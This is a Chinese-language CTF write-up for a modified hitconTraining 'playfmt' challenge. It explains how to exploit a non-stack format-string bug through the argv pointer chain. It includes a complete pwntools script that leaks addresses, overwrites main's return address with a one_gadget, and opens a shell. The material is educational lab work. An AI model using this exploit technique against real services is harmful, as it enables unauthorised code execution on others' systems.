格式化字符串 - hitconTraining_playfmt_魔改
0x00 解题过程
1.拿到程序检查保护机制

2.,发现开启了 NX、PIE、RELRO 保护,对程序进行分析
关键点:经过分析发现该程序存在一个非栈上的格式化字符串漏洞


非栈上的格式化字符串漏洞可以考虑使用 BPchain 或者 argv chuain 进行攻击
动态分析:

程序存在可用的两条链 1:BP chain;2.argv Chain,这两条 chain可用来做地址写入。
可以通过 $rsp 确定栈帧位置,通过 game函数 的返回地址以及 main 函数的返回地址分别确定 binary_base 和 libc_base, 经过测试偏移分别为 (6、7、11)。

1 和 2 位置处的偏移分别为(13、39)
3.解题思路:
因为是非栈上的格式化字符串,所以只能使用间接写的方式对任意地址进行改写,所以需要要求题目中必须有 A->B->C 的地址关系链,而每个程序中必有 BP chain 和 argv chain,所以选取一个即可,本题使用的是 argv chain。因为有 libc 所以考虑用 onegadget 进行攻击,修改 main 函数的返回地址比较方便,所以选择修改 main 函数的返回地址。首先使用 argv chain 先将 A->B->C 的调用链中的 C 改成 D(D 为自己最后想要修改的内存,此时使用的偏移为地址 A 到参数的偏移距离),之后就可以用 B->D (这是就可以修改内存 D 中的数据了, 此时使用的偏移是地址 B 到参数的偏移距离)的方式间接修改 D 中的数据了 ,因为在修改数据时一次写不完,所以修改了两次。
0x01wp
from pwn import *
context.arch = 'amd64'
#context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
import re
#p = process("./fmt")
p = remote("127.0.0.1", 8949)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
E = ELF("./fmt")
pop_rdi_ret = 0x00000000000008c3 # : pop rdi ; ret
libc_start_main_off = 0x21c87
binary_off = 0x829
onegadget = [0x4f2a5, 0x4f302, 0x10a2fc]
p.sendline("(%6$lx).(%7$lx).(%11$lx)ENNNNNNNND")
data = p.recvuntil("ENNNNNNNND")
leak_data = re.findall(r"[(](.*?)[)]", data.decode())
stack = int(leak_data[0],16) - 0x10
binary_base = int(leak_data[1],16) - binary_off
libc_base = int(leak_data[2],16) - libc_start_main_off
payload = "%{}c%{}$hnENNNNNNNNNNND".format((stack+0x28)&0xffff,13)
onegadget_addr = libc_base + onegadget[1]
print(payload)
input("attack 1")
p.sendline(payload)
p.recv()
print(payload)
input("attack 2")
payload = "%{}c%{}$hnENNNNNNNNNNND".format(onegadget_addr&0xffff, 39)
p.sendafter("ENNNNNNNNNNND", payload)
payload = "%{}c%{}$hnENNNNNNNNNNND".format((stack+0x28+2)&0xffff, 13)
print(payload)
input("attack 3")
p.sendafter("ENNNNNNNNNNND", payload)
p.recv()
print(payload)
input("attack 4")
payload = "%{}c%{}$hnENNNNNNNNNNND".format((onegadget_addr >> 16)&0xffff,39)
p.sendafter("ENNNNNNNNNNND", payload)
p.interactive()
0x02 题目
hitconTraining_playfmt_魔改
浙公网安备 33010602011771号